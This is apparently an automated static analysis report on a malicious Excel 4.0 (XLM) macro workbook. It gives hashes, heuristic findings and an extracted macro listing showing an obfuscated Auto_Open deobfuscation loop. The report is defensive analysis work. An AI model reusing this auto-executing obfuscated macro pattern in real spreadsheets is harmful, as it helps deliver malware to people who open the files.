Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 90af94dcdfc89e26…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:38:52 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: 605df87b16219cbee6727c4bd7a882fd SHA-1: e1d5acee995fbbff7a13230a421eb83f5574222b SHA-256: 90af94dcdfc89e26bb9f506b820ffd58e84768bbd79f0142f0da89994f8d33f9
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6701 bytes
SHA-256: 3a519b07611e4b1ae9ef30fb0ef0a6a6565a17745f29f0b090d4aeca9d607b0f
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  syJeQPG
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G157 
' 0018     22 LABEL : Cell Value, String Constant - dQGcoWC len=0 
' 0018     27 LABEL : Cell Value, String Constant - dWEuzeZCBFei len=0 
' 0018     27 LABEL : Cell Value, String Constant - FuKVSVJkOlpb len=0 
' 0018     20 LABEL : Cell Value, String Constant - hBxMF len=0 
' 0018     25 LABEL : Cell Value, String Constant - higCoLVBzx len=0 
' 0018     26 LABEL : Cell Value, String Constant - jDQiWgGDqaz len=0 
' 0018     23 LABEL : Cell Value, String Constant - jGrmzOkM len=0 
' 0018     20 LABEL : Cell Value, String Constant - JtChF len=0 
' 0018     22 LABEL : Cell Value, String Constant - KZOdgtC len=0 
' 0018     24 LABEL : Cell Value, String Constant - lrUZmyarj len=0 
' 0018     21 LABEL : Cell Value, String Constant - owVcLt len=0 
' 0018     21 LABEL : Cell Value, String Constant - qBKcNj len=0 
' 0018     25 LABEL : Cell Value, String Constant - qWzORuHMGX len=0 
' 0018     26 LABEL : Cell Value, String Constant - TbxktHTuOXb len=0 
' 0018     24 LABEL : Cell Value, String Constant - ujshNnDVk len=0 
' 0018     23 LABEL : Cell Value, String Constant - UwcEVYch len=0 
' 0018     20 LABEL : Cell Value, String Constant - wwKDm len=0 
' 0018     22 LABEL : Cell Value, String Constant - XfGNjKl len=0 
' 0018     24 LABEL : Cell Value, String Constant - XHOToiTiI len=0 
' 0018     27 LABEL : Cell Value, String Constant - zCOuCjctLpUX len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  syJeQPG,P44,"",706.00000000000000000000
'  syJeQPG,P45,"",-674.00000000000000000000
'  syJeQPG,P46,"",28.00000000000000000000
'  syJeQPG,P47,"",85.00000000000000000000
'  syJeQPG,P48,"",-825.00000000000000000000
'  syJeQPG,P49,"",-19.00000000000000000000
'  syJeQPG,G64,"SET.NAME("qWzORuHMGX",0+VALUE("0"))",""
'  syJeQPG,G69,"SET.NAME("UwcEVYch",qWzORuHMGX)",""
'  syJeQPG,G73,"SET.NAME("lrUZmyarj",qWzORuHMGX)",""
'  syJeQPG,G77,"SET.NAME("KZOdgtC",COUNTA(dQGcoWC))",""
'  syJeQPG,G80,"SET.NAME("qBKcNj",COUNTA(hBxMF))",""
'  syJeQPG,G85,[],""
'  syJeQPG,G90,"SET.NAME("TbxktHTuOXb","")",""
'  syJeQPG,G92,"UwcEVYch",""
'  syJeQPG,G97,"SET.NAME("XfGNjKl",HLOOKUP("*",dQGcoWC,UwcEVYch,FALSE))",""
'  syJeQPG,G99,"wwKDm",""
'  syJeQPG,G104,"SET.NAME("XHOToiTiI",qWzORuHMGX)",""
'  syJeQPG,G107,[],""
'  syJeQPG,G109,"XHOToiTiI",""
'  syJeQPG,G112,"zCOuCjctLpUX",""
'  syJeQPG,G116,"JtChF",""
'  syJeQPG,G119,"owVcLt",""
'  syJeQPG,G124,"SET.NAME("FuKVSVJkOlpb",VALUE(HLOOKUP("*",hBxMF,owVcLt,FALSE)))",""
'  syJeQPG,G128,"higCoLVBzx",""
'  syJeQPG,G132,"TbxktHTuOXb",""
'  syJeQPG,G136,"lrUZmyarj",""
'  syJeQPG,G139,NEXT(),""
'  syJeQPG,G144,"dWEuzeZCBFei",""
'  syJeQPG,G147,[],""
'  syJeQPG,G149,"jGrmzOkM",""
'  syJeQPG,G152,NEXT(),""
'  syJeQPG,G155,RETURN(),""
'  syJeQPG,G181,"SET.NAME("jDQiWgGDqaz",G64)",""
'  syJeQPG,G185,"dQGcoWC",""
'  syJeQPG,G188,"SET.NAME("hBxMF",R94C14)",""
'  syJeQPG,G191,"SET.NAME("jGrmzOkM",198)",""
'  syJeQPG,G193,"SET.NAME("ujshNnDVk",7)",""
'  syJeQPG,G197,jDQiWgGDqaz(),""
'  syJeQPG,G198,HALT(),""

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